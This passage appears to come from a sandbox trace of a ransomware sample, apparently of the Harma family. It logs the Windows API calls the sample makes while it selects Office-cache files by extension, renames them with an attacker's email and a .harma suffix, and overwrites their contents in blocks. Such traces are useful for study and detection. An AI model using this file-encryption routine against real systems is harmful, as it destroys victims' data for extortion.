74 [0053.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0053.781] lstrlenW (lpString=".doc") returned 4 [0053.781] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0053.781] lstrlenW (lpString=".docx") returned 5 [0053.781] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0053.781] lstrlenW (lpString=".pdf") returned 4 [0053.781] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0053.781] lstrlenW (lpString=".xls") returned 4 [0053.781] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0053.781] lstrlenW (lpString=".xlsx") returned 5 [0053.781] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0053.781] lstrlenW (lpString=".ppt") returned 4 [0053.781] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0053.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0053.781] lstrlenW (lpString=".zip") returned 4 [0053.781] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0053.781] lstrlenW (lpString=".rar") returned 4 [0053.781] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0053.782] lstrlenW (lpString=".bz2") returned 4 [0053.782] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0053.782] lstrlenW (lpString=".7z") returned 3 [0053.782] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0053.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0053.782] lstrlenW (lpString=".dbf") returned 4 [0053.782] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0053.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0053.782] lstrlenW (lpString=".1cd") returned 4 [0053.782] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0053.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0053.782] lstrlenW (lpString=".jpg") returned 4 [0053.782] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0053.782] lstrcmpiW (lpString1=".cab", lpString2=".harma") returned -1 [0053.782] lstrlenW (lpString="OnoteLR.cab") returned 11 [0053.782] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0053.783] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=17456632) returned 1 [0053.783] CloseHandle (hObject=0x170) returned 1 [0053.783] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab")) returned 0x2020 [0053.783] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0053.783] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0053.784] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0053.784] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc6c | out: lpNewFilePointer=0x0) returned 1 [0053.784] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0053.784] ReadFile (in: hFile=0x170, lpBuffer=0x3dc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3dc0058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.837] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0053.838] ReadFile (in: hFile=0x170, lpBuffer=0x3e00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3e00058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.887] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35ffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0053.887] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0053.887] ReadFile (in: hFile=0x170, lpBuffer=0x3e40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3e40058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.940] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0053.940] WriteFile (in: hFile=0x170, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x35ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0054.163] SetEndOfFile (hFile=0x170) returned 1 [0054.163] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3fd9e48 [0054.163] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0054.164] WriteFile (in: hFile=0x170, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.164] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0054.164] WriteFile (in: hFile=0x170, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.165] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0054.165] WriteFile (in: hFile=0x170, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.167] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fd9e48 | out: hHeap=0x5a0000) returned 1 [0054.167] CloseHandle (hObject=0x170) returned 1 [0054.168] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0054.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0054.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0054.168] lstrlenW (lpString=".doc") returned 4 [0054.168] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0054.168] lstrlenW (lpString=".docx") returned 5 [0054.168] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0054.168] lstrlenW (lpString=".pdf") returned 4 [0054.168] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0054.168] lstrlenW (lpString=".xls") returned 4 [0054.168] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0054.168] lstrlenW (lpString=".xlsx") returned 5 [0054.168] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0054.168] lstrlenW (lpString=".ppt") returned 4 [0054.168] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0054.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0054.169] lstrlenW (lpString=".zip") returned 4 [0054.169] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0054.169] lstrlenW (lpString=".rar") returned 4 [0054.169] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0054.169] lstrlenW (lpString=".bz2") returned 4 [0054.169] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0054.169] lstrlenW (lpString=".7z") returned 3 [0054.169] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0054.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0054.169] lstrlenW (lpString=".dbf") returned 4 [0054.169] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0054.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0054.169] lstrlenW (lpString=".1cd") returned 4 [0054.169] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0054.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0054.169] lstrlenW (lpString=".jpg") returned 4 [0054.169] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0054.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0054.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0054.169] lstrlenW (lpString=".doc") returned 4 [0054.169] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0054.169] lstrlenW (lpString=".docx") returned 5 [0054.169] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0054.169] lstrlenW (lpString=".pdf") returned 4 [0054.169] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0054.169] lstrlenW (lpString=".xls") returned 4 [0054.169] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0054.169] lstrlenW (lpString=".xlsx") returned 5 [0054.170] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0054.170] lstrlenW (lpString=".ppt") returned 4 [0054.170] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0054.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0054.170] lstrlenW (lpString=".zip") returned 4 [0054.170] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0054.170] lstrlenW (lpString=".rar") returned 4 [0054.170] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0054.170] lstrlenW (lpString=".bz2") returned 4 [0054.170] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0054.170] lstrlenW (lpString=".7z") returned 3 [0054.170] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0054.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0054.170] lstrlenW (lpString=".dbf") returned 4 [0054.170] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0054.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0054.170] lstrlenW (lpString=".1cd") returned 4 [0054.170] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0054.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0054.170] lstrlenW (lpString=".jpg") returned 4 [0054.170] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0054.170] lstrcmpiW (lpString1=".cab", lpString2=".harma") returned -1 [0054.170] lstrlenW (lpString="GrooveLR.cab") returned 12 [0054.171] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0054.171] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=4095519) returned 1 [0054.171] CloseHandle (hObject=0x170) returned 1 [0054.171] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab")) returned 0x2020 [0054.171] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0054.171] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0054.172] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0054.172] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc6c | out: lpNewFilePointer=0x0) returned 1 [0054.172] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0054.172] ReadFile (in: hFile=0x170, lpBuffer=0x3dc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3dc0058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.176] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0054.176] ReadFile (in: hFile=0x170, lpBuffer=0x3e00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3e00058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.183] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35ffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0054.183] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0054.183] ReadFile (in: hFile=0x170, lpBuffer=0x3e40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3e40058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.199] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.199] WriteFile (in: hFile=0x170, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x35ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0054.453] SetEndOfFile (hFile=0x170) returned 1 [0054.453] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3fd9e48 [0054.580] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0054.580] WriteFile (in: hFile=0x170, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.581] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0054.581] WriteFile (in: hFile=0x170, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.584] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0054.584] WriteFile (in: hFile=0x170, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.586] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fd9e48 | out: hHeap=0x5a0000) returned 1 [0054.586] CloseHandle (hObject=0x170) returned 1 [0054.586] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0054.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0054.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0054.586] lstrlenW (lpString=".doc") returned 4 [0054.586] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0054.586] lstrlenW (lpString=".docx") returned 5 [0054.587] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0054.587] lstrlenW (lpString=".pdf") returned 4 [0054.587] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0054.587] lstrlenW (lpString=".xls") returned 4 [0054.587] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0054.587] lstrlenW (lpString=".xlsx") returned 5 [0054.587] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0054.587] lstrlenW (lpString=".ppt") returned 4 [0054.587] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0054.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0054.587] lstrlenW (lpString=".zip") returned 4 [0054.587] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0054.587] lstrlenW (lpString=".rar") returned 4 [0054.587] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0054.587] lstrlenW (lpString=".bz2") returned 4 [0054.587] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0054.587] lstrlenW (lpString=".7z") returned 3 [0054.587] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0054.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0054.587] lstrlenW (lpString=".dbf") returned 4 [0054.587] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0054.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0054.587] lstrlenW (lpString=".1cd") returned 4 [0054.587] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0054.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0054.587] lstrlenW (lpString=".jpg") returned 4 [0054.587] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0054.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0054.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0054.587] lstrlenW (lpString=".doc") returned 4 [0054.587] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0054.588] lstrlenW (lpString=".docx") returned 5 [0054.588] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0054.588] lstrlenW (lpString=".pdf") returned 4 [0054.588] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0054.588] lstrlenW (lpString=".xls") returned 4 [0054.588] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0054.588] lstrlenW (lpString=".xlsx") returned 5 [0054.588] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0054.588] lstrlenW (lpString=".ppt") returned 4 [0054.588] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0054.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0054.588] lstrlenW (lpString=".zip") returned 4 [0054.588] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0054.588] lstrlenW (lpString=".rar") returned 4 [0054.588] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0054.588] lstrlenW (lpString=".bz2") returned 4 [0054.588] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0054.588] lstrlenW (lpString=".7z") returned 3 [0054.588] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0054.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0054.588] lstrlenW (lpString=".dbf") returned 4 [0054.588] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0054.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0054.588] lstrlenW (lpString=".1cd") returned 4 [0054.588] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0054.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0054.588] lstrlenW (lpString=".jpg") returned 4 [0054.588] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0054.589] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0054.589] lstrlenW (lpString="dwdcw20.dll") returned 11 [0054.589] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0054.627] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=526176) returned 1 [0054.627] CloseHandle (hObject=0x1e0) returned 1 [0054.627] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 0x2020 [0054.627] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0054.627] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0054.627] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.628] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.628] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0054.628] GetLastError () returned 0x0 [0054.628] ReadFile (in: hFile=0x1e0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35ffed4, lpOverlapped=0x0 | 